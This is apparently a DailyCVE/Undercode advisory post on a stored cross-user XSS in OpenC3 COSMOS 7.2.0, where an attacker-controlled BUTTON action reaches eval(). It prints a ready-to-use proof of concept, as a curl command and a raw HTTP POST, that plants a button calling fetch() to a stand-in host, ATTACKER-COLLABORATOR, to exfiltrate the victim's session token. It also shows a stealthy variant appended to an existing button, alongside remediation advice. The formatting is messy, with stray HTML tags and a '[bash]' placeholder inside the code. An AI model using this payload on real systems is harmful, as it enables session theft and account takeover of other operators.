OpenC3 COSMOS, Stored Cross-User XSS via BUTTON widget eval(), CVE ID: Not Provided (Critical) -DC-Sep2026-2550

Listen to this Post

Intro:

The vulnerability is stored cross-user XSS in OpenC3 COSMOS.
A user with system_set can save a telemetry screen.

The screen save endpoint is POST /openc3-api/screen.

It calls ScreensControllercreate.

The file is openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43.

The controller authorizes system_set.

It persists raw screen text.

No sanitization is applied to the screen body.

The BUTTON widget stores its action as parameters

.</h2>

<h2 style="color: blue;">ButtonWidget.vue:109 does this.eval.split(';;').</h2>

<h2 style="color: blue;">It calls eval(lines[bash].trim()) on click.</h2>

<h2 style="color: blue;">The stored button text is attacker-controlled.</h2>

<h2 style="color: blue;">Screens are shared per-scope content.</h2>

<h2 style="color: blue;">Any user opening the screen renders it.</h2>

<h2 style="color: blue;">Telemetry Viewer renders shared screens.</h2>

<h2 style="color: blue;">User A saves a malicious BUTTON.</h2>

<h2 style="color: blue;">User B opens the screen.</h2>

<h2 style="color: blue;">User B clicks the button.</h2>

<h2 style="color: blue;">The payload runs in the COSMOS origin.</h2>

<h2 style="color: blue;">It executes in User B's authenticated session.</h2>

<h2 style="color: blue;">It reads localStorage.openc3Token.</h2>

<h2 style="color: blue;">The token is a bearer credential.</h2>

<h2 style="color: blue;">The token is accepted in the Authorization header.</h2>

<h2 style="color: blue;">This enables session and account takeover.</h2>

It can act as the victim against the API.

<h2 style="color: blue;">Script Runner can be reached with script privileges.</h2>

<h2 style="color: blue;">That can lead to server-side code execution.</h2>

<h2 style="color: blue;">CSP permits 'unsafe-inline' and 'unsafe-eval'.</h2>

<h2 style="color: blue;">openc3-traefik/traefik.yaml:63 sets script-src.</h2>

<h2 style="color: blue;">Injected script is not blocked.</h2>

<h2 style="color: blue;">This is persistent and cross-user, not self-XSS.</h2>

<h2 style="color: blue;">Realistic exploitation overwrites an existing screen.</h2>

<h2 style="color: blue;">Payload appends ';; <payload>' to an existing button.</h2>

<h2 style="color: blue;">Original command still works.</h2>

<h2 style="color: blue;">Operator sees no change.</h2>

<h2 style="color: blue;">Start Collect button can leak the token.</h2>

<h2 style="color: blue;">Remediation must remove eval and tighten CSP.</h2>

<h2 style="color: blue;">Screens must be treated as untrusted content.</h2>

<h2 style="color: blue;">DailyCVE Form:</h2>

Platform: OpenC3 COSMOS
Version: 7.2.0
Vulnerability : Stored Cross-User XSS
Severity: Critical
date: 2026-06-25

<h2 style="color: blue;">Prediction: 2026-07-15</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

<h2 style="color: blue;">Analytics</h2>

[bash]
curl -X POST http://localhost:2900/openc3-api/screen \
-H "Authorization: ses_<YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON '\''Refresh'\'' '\''fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\''\n"}'
const lines = this.eval.split(';;')
const result = eval(lines[bash].trim())
script-src 'unsafe-inline' 'unsafe-eval' https: blob:
alert(localStorage.openc3Token)
BUTTON 'Start Collect' 'api.cmd("INST COLLECT ...");; fetch("https://ATTACKER-COLLABORATOR/?t="+encodeURIComponent(localStorage.openc3Token))'

Exploit: (Educational Purposes!)

POST /openc3-api/screen HTTP/1.1
Host: localhost:2900
Content-Type: application/json
Authorization: ses_<YOUR_TOKEN>
Content-Length: 224
{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}
Open http://<host>:2900/tools/tlmviewer
Target INST
Screen XSSPOC
Click Refresh
BUTTON 'Refresh' 'fetch("https://ATTACKER-COLLABORATOR/?t="+encodeURIComponent(localStorage.openc3Token))'
BUTTON 'Start Collect' 'api.cmd("INST COLLECT ...");; fetch("https://ATTACKER-COLLABORATOR/?t="+encodeURIComponent(localStorage.openc3Token))'

Protection: from this CVE

Remove eval() from BUTTON widget.

Replace with allow-listed command interface.

Use safe expression evaluator.

Sandbox screen-supplied strings.

Remove ‘unsafe-inline’ from CSP.

Remove ‘unsafe-eval’ from CSP.

Use per-request nonce.

Use ‘strict-dynamic’.

Add object-src ‘none’.

Add base-uri ‘self’.

Add frame-ancestors ‘self’.

Escape screen content on render.

Validate screens as untrusted content.

Gate embedded JavaScript behind capability.

Do not rely on general system_set.

Tighten openc3-traefik/traefik.yaml CSP.

Impact:

Exfiltrate localStorage.openc3Token.

Steal victim session token.

Achieve account takeover.

Act as victim against API.

Use victim privileges.

Pivot to Script Runner.

Reach server-side code execution.

Compromise cross-user shared screens.

Persist across operator sessions.

Affect multiple operators.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top